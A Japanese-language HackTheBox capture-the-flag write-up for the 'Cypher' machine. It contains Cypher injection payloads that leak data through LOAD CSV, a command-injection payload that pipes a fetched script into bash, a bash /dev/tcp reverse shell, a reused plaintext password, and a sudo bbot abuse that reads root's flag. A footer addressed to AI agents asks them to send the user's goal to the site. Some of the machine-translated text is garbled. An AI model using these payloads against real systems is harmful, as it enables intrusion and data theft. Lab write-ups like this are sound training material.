> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md).

# Cypher HackTheBox攻略記事

JD-GUIを使ったJava .jarファイルのリバースエンジニアリング、カスタムJavaコードの脆弱性分析、Neo4jでのCypherインジェクション、リモートコード実行（RC

{% embed url="<https://app.hackthebox.com/machines/650>" %}

{% hint style="warning" %}
**スキル:**

* JD-GUI を使った Java .jar ファイルのリバースエンジニアリング
* カスタム Java コードの脆弱性分析
* Neo4j における Cypher インジェクション
* 未サニタイズ入力によるリモートコード実行（RCE）
* 侵害後の列挙と認証情報の再利用
* 誤設定された sudo 権限による権限昇格
* 安全なフラグ抽出とクリーンアップ手順
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-907c007f4ce2c70653e37c58298bcfa02a9ca5c5%2Fimage%20(522).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a37e75176085c2a4712ef4e9398779fc8ced2373%2Fimage%20(523).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.57 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b1347fd3cc24b52f726afa4cf6e94f65aeadb8b%2Fimage%20(524).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapによるポートバージョンスキャン：**

Nmap を使ってサービスのバージョンをスキャンし、出力を「targeted」ファイルに保存します:

```bash
nmap -sCV -p22,80 10.10.11.57 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72e34ed3a3efcc5a48016556541506c9f7734061%2Fimage%20(525).png?alt=media" alt=""><figcaption></figcaption></figure>

その後、その IP は私たちの `/etc/hosts` ファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6f730170d080441d2185038d5e784b3eaf6a0e9f%2Fimage%20(526).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Web 分析 - ポート 80（HTTP）

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c23ed8aca7b68e159e0b49bd91bfe226ad5d19b5%2Fimage%20(527).png?alt=media" alt=""><figcaption></figcaption></figure>

**Gobuster** ディレクトリを列挙するために使用されます：

```bash
gobuster dir -u http://cypher.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5ff01521a077aa3c51fc583b1ccdceef7ea039e%2Fimage%20(529).png?alt=media" alt=""><figcaption></figcaption></figure>

その `/testing` ディレクトリには〜が含まれています `.jar` ファイルがあります。次のように抽出します：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f25263d2d70d7f1a4cccc0e326cc89c0e8ad8a72%2Fimage%20(530).png?alt=media" alt=""><figcaption></figcaption></figure>

以下で構造を確認します： `tree` そして、〜を開きます `.jar` で **JD-GUI**.

```bash
unzip custom-apoc-extension-1.0-SNAPSHOT.jar -d testing
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6edee4f3d30ab8349fbdbd75c323df529623b68c%2Fimage%20(531).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b6d60714bdf7ce16c54310a96f1cc10963b25f1d%2Fimage%20(532).png?alt=media" alt=""><figcaption></figcaption></figure>

脆弱なコマンドを発見します：

```java
String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7aa86a5490199d3ccbc233a784c3c9aedcbee75c%2Fimage%20(533).png?alt=media" alt=""><figcaption></figcaption></figure>

**脆弱性**：URL がエスケープされておらず、/ を許してしまいま&#x3059;*/* シェル/*/* インジェクション。

## Neo4j Cypher インジェクション

ログインフォームに脆弱性があります。〜の間でエラーが表示されます `'`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fdd8cf44a1edf70a4645ece22f4961a7d1c95275%2Fimage%20(528).png?alt=media" alt=""><figcaption></figcaption></figure>

Neo4j のバージョンを取得するために Cypher ペイロードを注入します：

{% code overflow="wrap" %}

```json
{
  "username": "' OR 1=1 WITH 1 AS a CALL dbms.components() YIELD versions UNWIND versions AS version LOAD CSV FROM 'http://10.10.14.90/?v=' + version AS l RETURN 0 AS _0 //",
  "password": "test"
}
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f9168c74d0cd7c63be185df31f6548eb8f5375%2Fimage%20(512).png?alt=media" alt=""><figcaption></figcaption></figure>

自分たちのサーバーでは、次のリクエストを受信します：

```bash
python3 -m http.server 80
# --> 5.24.1
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9baaeb89e343beed19b7b3cd39cff980c0e09ec9%2Fimage%20(511).png?alt=media" alt=""><figcaption></figcaption></figure>

### 呼び出しによる NCE `custom.getUrlStatusCode()`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-46196c341a54a371a11baab752b242dc4a221de9%2Fimage%20(513).png?alt=media" alt=""><figcaption></figcaption></figure>

リバースシェルを〜に仕込みます `index.html`:

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.80/443 0>&1
```

リバースシェルを〜に仕込みます `index.html`:

```bash
nc -nlvp 443
```

連結インジェクションを使ってこれを呼び出します **custom.getUrlStatusCode**

```bash
{
  "username": "admin' return h.value AS value  UNION CALL custom.getUrlStatusCode(/"127.0.0.1;curl 10.10.14.90/index.html | bash;/") YIELD statusCode AS value  RETURN value ; //",
  "password": "test"
}
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-81135f92277de943d8fca1f44090dcecf8f2e270%2Fimage%20(514).png?alt=media" alt=""><figcaption></figcaption></figure>

#### シェルの改善：

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## ピボット - ユーザー Graphasm

〜では `/home/graphasm/` 〜があります `pwn.py` パスワードを含むファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3f7ec4d35d62f81b020c5d0b16d87ceeadefbf3d%2Fimage%20(515).png?alt=media" alt=""><figcaption></figcaption></figure>

* cU4btyib.20xtCMCXkBmerhK

#### パスワードの再利用

### フラグ user.txt :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-91a9236a0aa15979f499c44081d0b37fffdea6fb%2Fimage%20(516).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格

### Sudo - bbot（バイナリ）

sudo の監査：

```bash
sudo -l 
```

ユーザーは実行できます `/usr/local/bin/bbot` root として。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-10fc8f8f88230caa2d796f703db2f19c6fae5965%2Fimage%20(517).png?alt=media" alt=""><figcaption></figcaption></figure>

〜の内容 `/usr/local/bin/bbot`:

```python
#!/opt/pipx/venvs/bbot/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from bbot.cli import main
if __name__ == '__main__':
    sys.argv[0] = re.sub(r'(-script/.pyw|/.exe)?$', '', sys.argv[0])
    sys.exit(main())
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be6a8ba276a1e956c4b040f1acd221d23c438005%2Fimage%20(519).png?alt=media" alt=""><figcaption></figcaption></figure>

### 悪用：

このスクリプトは単に、〜の main 関数へ引数を渡します `bbot`。渡される引数を制御できるため、〜の機能を利用して `bbot` 任意のファイルを再生できます — ユーザーのみがアクセス可能なものも含めて **root**.

使用方法についてヘルプやドキュメントを確認した後、 `bbot`、対象ファイルと出力ディレクトリを指定するオプションを特定しました：

```bash
sudo /usr/local/bin/bbot -t /root/root.txt -o /tmp/root -d
```

**説明：**

* `-t /root/root.txt`：処理対象のファイルを設定します。
* `-o /tmp/root`：出力ディレクトリを指定します（結果が保存される場所）。
* `-d`：追加情報が必要な場合にデバッグモードを有効にします。

このスクリプトは〜の権限で実行されるため **root** 権限で実行され、ns エントリの検証が行われないため、最終ファイルを含む任意のファイルを再生できます。 **root のフラグ**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-38f304ff0dd3239d615ef146d27350e3eec435f9%2Fimage%20(521).png?alt=media" alt=""><figcaption></figcaption></figure>

<div align="center" data-full-width="false"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9399f661511622d569be36e245b040792dcc3690%2Fimage%20(518).png?alt=media" alt=""><figcaption></figcaption></figure></div>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/cypher-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
